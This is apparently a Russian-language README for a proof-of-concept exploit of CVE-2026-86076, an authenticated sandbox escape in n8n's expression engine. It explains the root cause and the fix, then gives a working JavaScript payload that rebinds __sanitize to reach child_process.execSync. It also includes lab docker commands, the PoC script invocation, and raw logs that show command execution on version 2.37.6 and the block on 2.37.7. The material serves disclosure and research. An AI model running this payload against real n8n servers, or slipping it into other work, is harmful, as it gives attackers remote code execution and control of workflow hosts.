CVE-2026-86076 — побег из песочницы выражений n8n через перепривязку санитайзера полем класса

Выполнение кода в процессе бэкенда n8n с аутентификацией (права на редактирование workflow). Компилятор выражений внедряет this.__sanitize(key) для каждого вычисляемого обращения к члену; поле класса, буквально названное __sanitize, перепривязывает этот санитайзер для остальной части тела класса, что позволяет пропустить constructor и добраться до настоящего конструктора Function → process.mainModule.require('child_process').

• CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Затронуто: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
• Исправлено: 1.123.76 / 2.37.7 / 2.38.2
• Коммит исправления: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody отклоняет зарезервированные имена членов) и packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data теперь является лексической привязкой вместо this).

Корневая причина

PrototypeSanitizer (хук AST after) переписывает

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode — это объект данных выражения. Когда выражение не содержит функционального литерала, dataNode был сгенерирован как this, а не как лексический ___n8n_data:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Внутри инициализатора поля класса this — это экземпляр, поэтому поле с именем __sanitize перехватывает вызов санитайзера. Достаточно сквозной заглушки — [].concat.bind([]) возвращает ['constructor'], а obj[['constructor']] приводится к ключу constructor:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Сгенерированный код (проверено в контейнере с настоящим компилятором):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

До патча ничто не отклоняло член класса с именем __sanitize (RESERVED_VARIABLE_NAMES проверялся только для связанных идентификаторов).

Примечание о движке (важно)

Полезной нагрузке нужен внутрипроцессный движок выражений:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

С движком vm по умолчанию то же самое выражение по-прежнему обходит AST-санитайзер ([]['constr'+'uctor'] больше не блокируется — проверено), но код выполняется внутри изолята isolated-vm, у которого нет process.mainModule; выполнения кода хоста не происходит. 2.37.7 отклоняет это выражение при обоих движках.

Лаборатория

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Оба файла фиксируют N8N_EXPRESSION_ENGINE=legacy, SQLite, bind-mounted ./data-*. PoC сам создаёт учётную запись владельца (POST /rest/owner/setup + /rest/login).

Запуск

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Уязвимая версия — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Побочный эффект, считанный из контейнера (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Исправлено — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1

$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Канал доказательств

stdout команды возвращается execSync(...).toString() в качестве значения узла Set и считывается обратно из GET /rest/executions/<id>?includeData=true (полезная нагрузка n8n в формате "flatted", декодируется в скрипте). Побочный эффект на диске (/tmp/PWNED_86076) был дополнительно подтверждён с помощью docker exec.

Файлы

файл	содержимое
n8n_poc.py	PoC только на stdlib (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txt	сырые запуски
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.json	доказательства в JSON
side_effect_2.37.6.txt, side_effect_2.37.7.txt	проверка на стороне контейнера
docker_logs_2.37.6.txt, docker_logs_2.37.7.txt	логи контейнера